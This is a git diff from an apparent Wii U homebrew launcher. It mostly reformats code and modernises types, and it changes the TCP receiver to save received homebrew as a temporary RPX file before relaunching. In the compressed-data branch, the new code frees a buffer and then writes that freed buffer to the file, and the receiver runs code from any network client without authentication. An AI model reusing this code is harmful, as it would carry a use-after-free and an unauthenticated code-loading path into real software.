uint32_t ip) { element->setEffect(EFFECT_FADE, 15, 255); element->effectFinished.connect(this, &HomebrewWindow::OnOpenEffectFinish); append(element); } -void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, u32 ip, int result) -{ +void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, uint32_t ip, int result) { element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &HomebrewWindow::OnCloseTcpReceiverFinish); - if(result > 0) - { - log_printf("Launching homebrew, loaded to address %08X size %08X\n", ELF_DATA_ADDR, ELF_DATA_SIZE); - Application::instance()->quit(EXIT_SUCCESS); + if(result >= 0) { + if(HomebrewLoader::loadToMemory(HBL_TEMP_RPX_FILE) > 0) { + SYSRelaunchTitle(0,NULL); + } + } else { + DEBUG_FUNCTION_LINE("TCP loading failed with error code %d\n", result); } } diff --git a/src/menu/HomebrewWindow.h b/src/menu/HomebrewWindow.h index 72394f2..3b9e777 100644 --- a/src/menu/HomebrewWindow.h +++ b/src/menu/HomebrewWindow.h @@ -21,8 +21,7 @@ #include "gui/GuiFrame.h" #include "TcpReceiver.h" -class HomebrewWindow : public GuiFrame, public sigslot::has_slots<> -{ +class HomebrewWindow : public GuiFrame, public sigslot::has_slots<> { public: HomebrewWindow(int w, int h); virtual ~HomebrewWindow(); @@ -38,8 +37,8 @@ private: void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnCloseTcpReceiverFinish(GuiElement *element); - void OnTcpReceiveStart(GuiElement *element, u32 ip); - void OnTcpReceiveFinish(GuiElement *element, u32 ip, int result); + void OnTcpReceiveStart(GuiElement *element, uint32_t ip); + void OnTcpReceiveFinish(GuiElement *element, uint32_t ip, int result); GuiSound *buttonClickSound; GuiImageData * homebrewButtonImgData; @@ -52,8 +51,7 @@ private: GuiButton arrowLeftButton; GuiText hblVersionText; - typedef struct - { + typedef struct { std::string execPath; GuiImage *image; GuiButton *button; diff --git a/src/menu/MainWindow.cpp b/src/menu/MainWindow.cpp index 56b3ef1..8227361 100644 --- a/src/menu/MainWindow.cpp +++ b/src/menu/MainWindow.cpp @@ -23,20 +23,28 @@ MainWindow::MainWindow(int w, int h) : width(w) , height(h) - , bgImageColor(w, h, (GX2Color){ 0, 0, 0, 0 }) - , bgParticleImg(w, h, 500) - , homebrewWindow(w, h) -{ - bgImageColor.setImageColor((GX2Color){ 79, 153, 239, 255 }, 0); - bgImageColor.setImageColor((GX2Color){ 79, 153, 239, 255 }, 1); - bgImageColor.setImageColor((GX2Color){ 59, 159, 223, 255 }, 2); - bgImageColor.setImageColor((GX2Color){ 59, 159, 223, 255 }, 3); + , bgImageColor(w, h, (GX2Color) { + 0, 0, 0, 0 +}) +, bgParticleImg(w, h, 500, 30.0f,30.0f,0.2f,0.8f) +, homebrewWindow(w, h) { + bgImageColor.setImageColor((GX2Color) { + 79, 153, 239, 255 + }, 0); + bgImageColor.setImageColor((GX2Color) { + 79, 153, 239, 255 + }, 1); + bgImageColor.setImageColor((GX2Color) { + 59, 159, 223, 255 + }, 2); + bgImageColor.setImageColor((GX2Color) { + 59, 159, 223, 255 + }, 3); append(&bgImageColor); append(&bgParticleImg); - for(int i = 0; i < 4; i++) - { - std::string filename = strfmt("player%i_point.png", i+1); + for(int i = 0; i < 4; i++) { + std::string filename = StringTools::strfmt("player%i_point.png", i+1); pointerImgData[i] = Resources::GetImageData(filename.c_str()); pointerImg[i] = new GuiImage(pointerImgData[i]); pointerImg[i]->setScale(1.5f); @@ -46,84 +54,69 @@ MainWindow::MainWindow(int w, int h) append(&homebrewWindow); } -MainWindow::~MainWindow() -{ +MainWindow::~MainWindow() { remove(&homebrewWindow); remove(&bgImageColor); remove(&bgParticleImg); - while(!tvElements.empty()) - { + while(!tvElements.empty()) { delete tvElements[0]; remove(tvElements[0]); } - while(!drcElements.empty()) - { + while(!drcElements.empty()) { delete drcElements[0]; remove(drcElements[0]); } - for(int i = 0; i < 4; i++) - { + for(int i = 0; i < 4; i++) { delete pointerImg[i]; Resources::RemoveImageData(pointerImgData[i]); } } -void MainWindow::updateEffects() -{ +void MainWindow::updateEffects() { //! dont read behind the initial elements in case one was added - u32 tvSize = tvElements.size(); - u32 drcSize = drcElements.size(); + uint32_t tvSize = tvElements.size(); + uint32_t drcSize = drcElements.size(); - for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i) - { + for(uint32_t i = 0; (i < drcSize) && (i < drcElements.size()); ++i) { drcElements[i]->updateEffects(); } //! only update TV elements that are not updated yet because they are on DRC - for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) - { - u32 n; - for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) - { + for(uint32_t i = 0; (i < tvSize) && (i < tvElements.size()); ++i) { + uint32_t n; + for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) { if(tvElements[i] == drcElements[n]) break; } - if(n == drcElements.size()) - { + if(n == drcElements.size()) { tvElements[i]->updateEffects(); } } } -void MainWindow::update(GuiController *controller) -{ +void MainWindow::update(GuiController *controller) { //! dont read behind the initial elements in case one was added - //u32 tvSize = tvElements.size(); + //uint32_t tvSize = tvElements.size(); - if(controller->chan & GuiTrigger::CHANNEL_1) - { - u32 drcSize = drcElements.size(); + if(controller->chan & GuiTrigger::CHANNEL_1) { + uint32_t drcSize = drcElements.size(); - for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i) - { + for(uint32_t i = 0; (i < drcSize) && (i < drcElements.size()); ++i) { drcElements[i]->update(controller); } - } - else - { - u32 tvSize = tvElements.size(); + } else { + uint32_t tvSize = tvElements.size(); - for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) - { + for(uint32_t i = 0; (i < tvSize) && (i < tvElements.size()); ++i) { tvElements[i]->update(controller); } } // //! only update TV elements that are not updated yet because they are on DRC -// for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i) +// for(uint32_t i = 0; (i < tvSize) && (i < tvElements.size()); ++i) // { -// u32 n; +// uint32_t n; // for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) // { // if(tvElements[i] == drcElements[n]) @@ -135,28 +128,23 @@ void MainWindow::update(GuiController *controller) // } // } - if(controller->chanIdx >= 1 && controller->chanIdx <= 4 && controller->data.validPointer) - { + if(controller->chanIdx >= 1 && controller->chanIdx <= 4 && controller->data.validPointer) { int wpadIdx = controller->chanIdx - 1; - f32 posX = controller->data.x; - f32 posY = controller->data.y; + float posX = controller->data.x; + float posY = controller->data.y; pointerImg[wpadIdx]->setPosition(posX, posY); pointerImg[wpadIdx]->setAngle(controller->data.pointerAngle); pointerValid[wpadIdx] = true; } } -void MainWindow::drawDrc(CVideo *video) -{ - for(u32 i = 0; i < drcElements.size(); ++i) - { +void MainWindow::drawDrc(CVideo *video) { + for(uint32_t i = 0; i < drcElements.size(); ++i) { drcElements[i]->draw(video); } - for(int i = 0; i < 4; i++) - { - if(pointerValid[i]) - { + for(int i = 0; i < 4; i++) { + if(pointerValid[i]) { pointerImg[i]->setAlpha(0.5f); pointerImg[i]->draw(video); pointerImg[i]->setAlpha(1.0f); @@ -164,17 +152,13 @@ void MainWindow::drawDrc(CVideo *video) } } -void MainWindow::drawTv(CVideo *video) -{ - for(u32 i = 0; i < tvElements.size(); ++i) - { +void MainWindow::drawTv(CVideo *video) { + for(uint32_t i = 0; i < tvElements.size(); ++i) { tvElements[i]->draw(video); } - for(int i = 0; i < 4; i++) - { - if(pointerValid[i]) - { + for(int i = 0; i < 4; i++) { + if(pointerValid[i]) { pointerImg[i]->draw(video); pointerValid[i] = false; } diff --git a/src/menu/MainWindow.h b/src/menu/MainWindow.h index 77ea00f..bab138c 100644 --- a/src/menu/MainWindow.h +++ b/src/menu/MainWindow.h @@ -25,22 +25,19 @@ class CVideo; -class MainWindow : public sigslot::has_slots<> -{ +class MainWindow : public sigslot::has_slots<> { public: MainWindow(int w, int h); virtual ~MainWindow(); - void appendTv(GuiElement *e) - { + void appendTv(GuiElement *e) { if(!e) return; removeTv(e); tvElements.push_back(e); } - void appendDrc(GuiElement *e) - { + void appendDrc(GuiElement *e) { if(!e) return; @@ -48,22 +45,19 @@ public: drcElements.push_back(e); } - void append(GuiElement *e) - { + void append(GuiElement *e) { appendTv(e); appendDrc(e); } - void insertTv(u32 pos, GuiElement *e) - { + void insertTv(uint32_t pos, GuiElement *e) { if(!e) return; removeTv(e); tvElements.insert(tvElements.begin() + pos, e); } - void insertDrc(u32 pos, GuiElement *e) - { + void insertDrc(uint32_t pos, GuiElement *e) { if(!e) return; @@ -71,42 +65,33 @@ public: drcElements.insert(drcElements.begin() + pos, e); } - void insert(u32 pos, GuiElement *e) - { + void insert(uint32_t pos, GuiElement *e) { insertTv(pos, e); insertDrc(pos, e); } - void removeTv(GuiElement *e) - { - for(u32 i = 0; i < tvElements.size(); ++i) - { - if(e == tvElements[i]) - { + void removeTv(GuiElement *e) { + for(uint32_t i = 0; i < tvElements.size(); ++i) { + if(e == tvElements[i]) { tvElements.erase(tvElements.begin() + i); break; } } } - void removeDrc(GuiElement *e) - { - for(u32 i = 0; i < drcElements.size(); ++i) - { - if(e == drcElements[i]) - { + void removeDrc(GuiElement *e) { + for(uint32_t i = 0; i < drcElements.size(); ++i) { + if(e == drcElements[i]) { drcElements.erase(drcElements.begin() + i); break; } } } - void remove(GuiElement *e) - { + void remove(GuiElement *e) { removeTv(e); removeDrc(e); } - void removeAll() - { + void removeAll() { tvElements.clear(); drcElements.clear(); } diff --git a/src/menu/ProgressWindow.cpp b/src/menu/ProgressWindow.cpp index 57bd6c3..b11cd30 100644 --- a/src/menu/ProgressWindow.cpp +++ b/src/menu/ProgressWindow.cpp @@ -15,15 +15,18 @@ * along with this program. If not, see . ****************************************************************************/ #include "ProgressWindow.h" -#include "video/CVideo.h" +#include ProgressWindow::ProgressWindow(const std::string & title) : GuiFrame(0, 0) , bgImageData(Resources::GetImageData("progressWindow.png")) , bgImage(bgImageData) - , progressImageBlack(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255}) - , progressImageColored(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255}) -{ + , progressImageBlack(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color) { + 0, 0, 0, 255 +}) +, progressImageColored(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color) { + 0, 0, 0, 255 +}) { titleChanged = false; currentTitle = title; width = bgImage.getWidth(); @@ -34,10 +37,18 @@ ProgressWindow::ProgressWindow(const std::string & title) append(&bgImage); progressImageColored.setAlignment(ALIGN_TOP_LEFT); - progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 0); - progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 1); - progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 2); - progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 3); + progressImageColored.setImageColor((GX2Color) { + 42, 159, 217, 255 + }, 0); + progressImageColored.setImageColor((GX2Color) { + 42, 159, 217, 255 + }, 1); + progressImageColored.setImageColor((GX2Color) { + 13, 104, 133, 255 + }, 2); + progressImageColored.setImageColor((GX2Color) { + 13, 104, 133, 255 + }, 3); titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f)); titleText.setFontSize(36); @@ -53,28 +64,23 @@ ProgressWindow::ProgressWindow(const std::string & title) setProgress(0.0f); } -ProgressWindow::~ProgressWindow() -{ +ProgressWindow::~ProgressWindow() { Resources::RemoveImageData(bgImageData); } -void ProgressWindow::setTitle(const std::string & title) -{ +void ProgressWindow::setTitle(const std::string & title) { titleMutex.lock(); currentTitle = title; titleChanged = true; titleMutex.unlock(); } -void ProgressWindow::setProgress(f32 percent) -{ +void ProgressWindow::setProgress(float percent) { progressImageColored.setSize(percent * 0.01f * progressImageBlack.getWidth(), progressImageColored.getHeight()); } -void ProgressWindow::draw(CVideo * v) -{ - if(titleChanged) - { +void ProgressWindow::draw(CVideo * v) { + if(titleChanged) { titleMutex.lock(); titleChanged = false; titleText.setText(currentTitle.c_str()); diff --git a/src/menu/ProgressWindow.h b/src/menu/ProgressWindow.h index b48e8fd..d344495 100644 --- a/src/menu/ProgressWindow.h +++ b/src/menu/ProgressWindow.h @@ -19,13 +19,12 @@ #include "gui/Gui.h" -class ProgressWindow : public GuiFrame, public sigslot::has_slots<> -{ +class ProgressWindow : public GuiFrame, public sigslot::has_slots<> { public: ProgressWindow(const std::string & titleText); virtual ~ProgressWindow(); - void setProgress(f32 percent); + void setProgress(float percent); void setTitle(const std::string & title); private: void draw(CVideo * v); diff --git a/src/menu/TcpReceiver.cpp b/src/menu/TcpReceiver.cpp index 08657ed..2ad8950 100644 --- a/src/menu/TcpReceiver.cpp +++ b/src/menu/TcpReceiver.cpp @@ -5,11 +5,12 @@ #include #include "TcpReceiver.h" -#include "HomebrewMemory.h" #include "fs/CFile.hpp" +#include "fs/FSUtils.h" #include "utils/logger.h" #include "utils/StringTools.h" #include "utils/net.h" +#include "common/common.h" TcpReceiver::TcpReceiver(int port) : GuiFrame(0, 0) @@ -17,67 +18,58 @@ TcpReceiver::TcpReceiver(int port) , exitRequested(false) , serverPort(port) , serverSocket(-1) - , progressWindow("Receiving file...") -{ + , progressWindow("Receiving file...") { width = progressWindow.getWidth(); height = progressWindow.getHeight(); append(&progressWindow); resumeThread(); } -TcpReceiver::~TcpReceiver() -{ +TcpReceiver::~TcpReceiver() { exitRequested = true; - if(serverSocket >= 0) - { + if(serverSocket >= 0) { shutdown(serverSocket, SHUT_RDWR); } } -void TcpReceiver::executeThread() -{ - serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); - if (serverSocket < 0) - { - log_printf("Server socket create failed\n"); - return; - } +void TcpReceiver::executeThread() { + serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); + if (serverSocket < 0) { + log_printf("Server socket create failed\n"); + return; + } - u32 enable = 1; - setsockopt(serverSocket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)); + uint32_t enable = 1; + setsockopt(serverSocket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)); - struct sockaddr_in bindAddress; - memset(&bindAddress, 0, sizeof(bindAddress)); - bindAddress.sin_family = AF_INET; - bindAddress.sin_port = serverPort; - bindAddress.sin_addr.s_addr = INADDR_ANY; + struct sockaddr_in bindAddress; + memset(&bindAddress, 0, sizeof(bindAddress)); + bindAddress.sin_family = AF_INET; + bindAddress.sin_port = serverPort; + bindAddress.sin_addr.s_addr = INADDR_ANY; - s32 ret; - if ((ret = bind(serverSocket, (struct sockaddr *)&bindAddress, sizeof(bindAddress))) < 0) - { - log_printf("Server socket bind failed\n"); - socketclose(serverSocket); - return; - } + int32_t ret; + if ((ret = bind(serverSocket, (struct sockaddr *)&bindAddress, sizeof(bindAddress))) < 0) { + log_printf("Server socket bind failed\n"); + socketclose(serverSocket); + return; + } - if ((ret = listen(serverSocket, 1)) < 0) - { - log_printf("Server socket listen failed\n"); - socketclose(serverSocket); - return; - } + if ((ret = listen(serverSocket, 1)) < 0) { + log_printf("Server socket listen failed\n"); + socketclose(serverSocket); + return; + } - struct sockaddr_in clientAddr; - memset(&clientAddr, 0, sizeof(clientAddr)); - socklen_t addrlen = sizeof(clientAddr); + struct sockaddr_in clientAddr; + memset(&clientAddr, 0, sizeof(clientAddr)); + socklen_t addrlen = sizeof(clientAddr); - while(!exitRequested) - { - s32 clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &addrlen); - if(clientSocket >= 0) - { - u32 ipAddress = clientAddr.sin_addr.s_addr; + while(!exitRequested) { + int32_t clientSocket = accept(serverSocket, (struct sockaddr*)&clientAddr, &addrlen); + if(clientSocket >= 0) { + uint32_t ipAddress = clientAddr.sin_addr.s_addr; serverReceiveStart(this, ipAddress); int result = loadToMemory(clientSocket, ipAddress); serverReceiveFinished(this, ipAddress, result); @@ -85,10 +77,8 @@ void TcpReceiver::executeThread() if(result > 0) break; - } - else - { - log_printf("Server socket accept failed %i\n", clientSocket); + } else { + log_printf("Server socket accept failed %i\n", clientSocket); usleep(100000); } } @@ -96,50 +86,45 @@ void TcpReceiver::executeThread() socketclose(serverSocket); } -int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress) -{ +int TcpReceiver::loadToMemory(int32_t clientSocket, uint32_t ipAddress) { log_printf("Loading file from ip %08X\n", ipAddress); - u32 fileSize = 0; - u32 fileSizeUnc = 0; + uint32_t fileSize = 0; + uint32_t fileSizeUnc = 0; unsigned char haxx[8]; memset(haxx, 0, sizeof(haxx)); //skip haxx recvwait(clientSocket, haxx, sizeof(haxx)); recvwait(clientSocket, (unsigned char*)&fileSize, sizeof(fileSize)); - if (haxx[4] > 0 || haxx[5] > 4) - { + if (haxx[4] > 0 || haxx[5] > 4) { recvwait(clientSocket, (unsigned char*)&fileSizeUnc, sizeof(fileSizeUnc)); // Compressed protocol, read another 4 bytes } - u32 bytesRead = 0; + uint32_t bytesRead = 0; struct in_addr in; in.s_addr = ipAddress; - progressWindow.setTitle(strfmt("Loading file from %s", inet_ntoa(in))); + progressWindow.setTitle(StringTools::strfmt("Loading file from %s", inet_ntoa(in))); log_printf("transfer start\n"); unsigned char* loadAddress = (unsigned char*)memalign(0x40, fileSize); - if(!loadAddress) - { + if(!loadAddress) { progressWindow.setTitle("Not enough memory"); sleep(1); return NOT_ENOUGH_MEMORY; } // Copy rpl in memory - while(bytesRead < fileSize) - { - progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize); + while(bytesRead < fileSize) { + progressWindow.setProgress(100.0f * (float)bytesRead / (float)fileSize); - u32 blockSize = 0x1000; + uint32_t blockSize = 0x1000; if(blockSize > (fileSize - bytesRead)) blockSize = fileSize - bytesRead; int ret = recv(clientSocket, loadAddress + bytesRead, blockSize, 0); - if(ret <= 0) - { + if(ret <= 0) { log_printf("Failure on reading file\n"); break; } @@ -147,10 +132,9 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress) bytesRead += ret; } - progressWindow.setProgress((f32)bytesRead / (f32)fileSize); + progressWindow.setProgress((float)bytesRead / (float)fileSize); - if(bytesRead != fileSize) - { + if(bytesRead != fileSize) { free(loadAddress); log_printf("File loading not finished, %i of %i bytes received\n", bytesRead, fileSize); progressWindow.setTitle("Receive incomplete"); @@ -160,21 +144,18 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress) int res = -1; - // Do we need to unzip this thing? - if (haxx[4] > 0 || haxx[5] > 4) - { + // Do we need to unzip this thing? + if (haxx[4] > 0 || haxx[5] > 4) { unsigned char* inflatedData = NULL; - // We need to unzip... - if (loadAddress[0] == 'P' && loadAddress[1] == 'K' && loadAddress[2] == 0x03 && loadAddress[3] == 0x04) - { - //! TODO: - //! mhmm this is incorrect, it has to parse the zip + // We need to unzip... + if (loadAddress[0] == 'P' && loadAddress[1] == 'K' && loadAddress[2] == 0x03 && loadAddress[3] == 0x04) { + //! TODO: + //! mhmm this is incorrect, it has to parse the zip // Section is compressed, inflate inflatedData = (unsigned char*)malloc(fileSizeUnc); - if(!inflatedData) - { + if(!inflatedData) { free(loadAddress); progressWindow.setTitle("Not enough memory"); sleep(1); @@ -190,8 +171,7 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress) s.opaque = Z_NULL; ret = inflateInit(&s); - if (ret != Z_OK) - { + if (ret != Z_OK) { free(loadAddress); free(inflatedData); progressWindow.setTitle("Uncompress failure"); @@ -206,8 +186,7 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress) s.next_out = (Bytef *)&inflatedData[0]; ret = inflate(&s, Z_FINISH); - if (ret != Z_OK && ret != Z_STREAM_END) - { + if (ret != Z_OK && ret != Z_STREAM_END) { free(loadAddress); free(inflatedData); progressWindow.setTitle("Uncompress failure"); @@ -217,51 +196,53 @@ int TcpReceiver::loadToMemory(s32 clientSocket, u32 ipAddress) inflateEnd(&s); fileSize = fileSizeUnc; - } - else - { + } else { // Section is compressed, inflate inflatedData = (unsigned char*)malloc(fileSizeUnc); - if(!inflatedData) - { + if(!inflatedData) { free(loadAddress); progressWindow.setTitle("Not enough memory"); sleep(1); return NOT_ENOUGH_MEMORY; } - uLongf f = fileSizeUnc; - int result = uncompress((Bytef*)&inflatedData[0], &f, (Bytef*)loadAddress, fileSize); - if(result != Z_OK) - { + uLongf f = fileSizeUnc; + int result = uncompress((Bytef*)&inflatedData[0], &f, (Bytef*)loadAddress, fileSize); + if(result != Z_OK) { log_printf("uncompress failed %i\n", result); progressWindow.setTitle("Uncompress failure"); sleep(1); return FILE_READ_ERROR; } - fileSizeUnc = f; + fileSizeUnc = f; fileSize = fileSizeUnc; } free(loadAddress); - HomebrewInitMemory(); - res = HomebrewCopyMemory(inflatedData, fileSize); + FSUtils::CreateSubfolder(HBL_TEMP_RPX_PATH); + if(!FSUtils::saveBufferToFile(HBL_TEMP_RPX_FILE, loadAddress, fileSize)) { + res = FILE_SAVE_ERROR; + } else { + res = 1; + } + free(inflatedData); - } - else - { - HomebrewInitMemory(); - res = HomebrewCopyMemory(loadAddress, fileSize); + } else { + FSUtils::CreateSubfolder(HBL_TEMP_RPX_PATH); + if(!FSUtils::saveBufferToFile(HBL_TEMP_RPX_FILE, loadAddress, fileSize)) { + res = FILE_SAVE_ERROR; + } else { + res = 1; + } free(loadAddress); } - if(res < 0) - { - progressWindow.setTitle("Not enough memory"); + if(res < 0) { + progressWindow.setTitle("Failed"); sleep(1); - return NOT_ENOUGH_MEMORY; + return res; } return fileSize; diff --git a/src/menu/TcpReceiver.h b/src/menu/TcpReceiver.h index a15567c..becf107 100644 --- a/src/menu/TcpReceiver.h +++ b/src/menu/TcpReceiver.h @@ -8,32 +8,31 @@ #include "system/CThread.h" #include "gui/sigslot.h" -class TcpReceiver : public GuiFrame, public CThread -{ +class TcpReceiver : public GuiFrame, public CThread { public: - enum eLoadResults - { + enum eLoadResults { SUCCESS = 0, INVALID_INPUT = -1, FILE_OPEN_FAILURE = -2, FILE_READ_ERROR = -3, NOT_ENOUGH_MEMORY = -4, + FILE_SAVE_ERROR = -5, }; TcpReceiver(int port); ~TcpReceiver(); - sigslot::signal2 serverReceiveStart; - sigslot::signal3 serverReceiveFinished; + sigslot::signal2 serverReceiveStart; + sigslot::signal3 serverReceiveFinished; private: void executeThread(); - int loadToMemory(s32 clientSocket, u32 ipAddress); + int loadToMemory(int32_t clientSocket, uint32_t ipAddress); bool exitRequested; - s32 serverPort; - s32 serverSocket; + int32_t serverPort; + int32_t serverSocket; ProgressWindow progressWindow; }; diff --git a/src/resources/Resources.cpp b/src/resources/Resources.cpp index 87e9d21..ac321ac 100644 --- a/src/resources/Resources.cpp +++ b/src/resources/Resources.cpp @@ -3,104 +3,89 @@ #include "Resources.h" #include "filelist.h" #include "system/AsyncDeleter.h" -#include "fs/fs_utils.h" +#include "fs/FSUtils.h" #include "gui/GuiImageAsync.h" #include "gui/GuiSound.h" Resources * Resources::instance = NULL; -void Resources::Clear() -{ - for(int i = 0; RecourceList[i].filename != NULL; ++i) - { - if(RecourceList[i].CustomFile) - { - free(RecourceList[i].CustomFile); - RecourceList[i].CustomFile = NULL; - } +void Resources::Clear() { + for(int i = 0; RecourceList[i].filename != NULL; ++i) { + if(RecourceList[i].CustomFile) { + free(RecourceList[i].CustomFile); + RecourceList[i].CustomFile = NULL; + } - if(RecourceList[i].CustomFileSize != 0) - RecourceList[i].CustomFileSize = 0; - } + if(RecourceList[i].CustomFileSize != 0) + RecourceList[i].CustomFileSize = 0; + } - if(instance) + if(instance) delete instance; instance = NULL; } -bool Resources::LoadFiles(const char * path) -{ - if(!path) - return false; +bool Resources::LoadFiles(const char * path) { + if(!path) + return false; - bool result = false; - Clear(); + bool result = false; + Clear(); - for(int i = 0; RecourceList[i].filename != NULL; ++i) - { + for(int i = 0; RecourceList[i].filename != NULL; ++i) { std::string fullpath(path); fullpath += "/"; fullpath += RecourceList[i].filename; - u8 * buffer = NULL; - u32 filesize = 0; + uint8_t * buffer = NULL; + uint32_t filesize = 0; - LoadFileToMem(fullpath.c_str(), &buffer, &filesize); + FSUtils::LoadFileToMem(fullpath.c_str(), &buffer, &filesize); RecourceList[i].CustomFile = buffer; - RecourceList[i].CustomFileSize = (u32) filesize; + RecourceList[i].CustomFileSize = (uint32_t) filesize; result |= (buffer != 0); - } + } - return result; + return result; } -const u8 * Resources::GetFile(const char * filename) -{ - for(int i = 0; RecourceList[i].filename != NULL; ++i) - { - if(strcasecmp(filename, RecourceList[i].filename) == 0) - { - return (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile); - } - } +const uint8_t * Resources::GetFile(const char * filename) { + for(int i = 0; RecourceList[i].filename != NULL; ++i) { + if(strcasecmp(filename, RecourceList[i].filename) == 0) { + return (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile); + } + } - return NULL; + return NULL; } -u32 Resources::GetFileSize(const char * filename) -{ - for(int i = 0; RecourceList[i].filename != NULL; ++i) - { - if(strcasecmp(filename, RecourceList[i].filename) == 0) - { - return (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize); - } - } - return 0; +uint32_t Resources::GetFileSize(const char * filename) { + for(int i = 0; RecourceList[i].filename != NULL; ++i) { + if(strcasecmp(filename, RecourceList[i].filename) == 0) { + return (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize); + } + } + return 0; } -GuiImageData * Resources::GetImageData(const char * filename) -{ +GuiImageData * Resources::GetImageData(const char * filename) { if(!instance) instance = new Resources; std::map >::iterator itr = instance->imageDataMap.find(std::string(filename)); - if(itr != instance->imageDataMap.end()) - { + if(itr != instance->imageDataMap.end()) { itr->second.first++; return itr->second.second; } - for(int i = 0; RecourceList[i].filename != NULL; ++i) - { - if(strcasecmp(filename, RecourceList[i].filename) == 0) - { - const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; - const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; + for(int i = 0; RecourceList[i].filename != NULL; ++i) { + if(strcasecmp(filename, RecourceList[i].filename) == 0) { + const uint8_t * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; + const uint32_t size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; - if(buff == NULL) + if(buff == NULL) return NULL; GuiImageData * image = new GuiImageData(buff, size); @@ -108,24 +93,20 @@ GuiImageData * Resources::GetImageData(const char * filename) instance->imageDataMap[std::string(filename)].second = image; return image; - } - } + } + } - return NULL; + return NULL; } -void Resources::RemoveImageData(GuiImageData * image) -{ +void Resources::RemoveImageData(GuiImageData * image) { std::map >::iterator itr; - for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++) - { - if(itr->second.second == image) - { + for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++) { + if(itr->second.second == image) { itr->second.first--; - if(itr->second.first == 0) - { + if(itr->second.first == 0) { AsyncDeleter::pushForDelete( itr->second.second ); instance->imageDataMap.erase(itr); } @@ -134,26 +115,22 @@ void Resources::RemoveImageData(GuiImageData * image) } } -GuiSound * Resources::GetSound(const char * filename) -{ +GuiSound * Resources::GetSound(const char * filename) { if(!instance) instance = new Resources; std::map >::iterator itr = instance->soundDataMap.find(std::string(filename)); - if(itr != instance->soundDataMap.end()) - { + if(itr != instance->soundDataMap.end()) { itr->second.first++; return itr->second.second; } - for(int i = 0; RecourceList[i].filename != NULL; ++i) - { - if(strcasecmp(filename, RecourceList[i].filename) == 0) - { - const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; - const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; + for(int i = 0; RecourceList[i].filename != NULL; ++i) { + if(strcasecmp(filename, RecourceList[i].filename) == 0) { + const uint8_t * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; + const uint32_t size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; - if(buff == NULL) + if(buff == NULL) return NULL; GuiSound * sound = new GuiSound(buff, size); @@ -161,24 +138,20 @@ GuiSound * Resources::GetSound(const char * filename) instance->soundDataMap[std::string(filename)].second = sound; return sound; - } - } + } + } - return NULL; + return NULL; } -void Resources::RemoveSound(GuiSound * sound) -{ +void Resources::RemoveSound(GuiSound * sound) { std::map >::iterator itr; - for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++) - { - if(itr->second.second == sound) - { + for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++) { + if(itr->second.second == sound) { itr->second.first--; - if(itr->second.first == 0) - { + if(itr->second.first == 0) { AsyncDeleter::pushForDelete( itr->second.second ); instance->soundDataMap.erase(itr); } diff --git a/src/resources/Resources.h b/src/resources/Resources.h index 6aba197..917bd21 100644 --- a/src/resources/Resources.h +++ b/src/resources/Resources.h @@ -2,19 +2,18 @@ #define RECOURCES_H_ #include -#include "common/types.h" +#include //! forward declaration class GuiImageData; class GuiSound; -class Resources -{ +class Resources { public: static void Clear(); static bool LoadFiles(const char * path); - static const u8 * GetFile(const char * filename); - static u32 GetFileSize(const char * filename); + static const uint8_t * GetFile(const char * filename); + static uint32_t GetFileSize(const char * filename); static GuiImageData * GetImageData(const char * filename); static void RemoveImageData(GuiImageData * image); diff --git 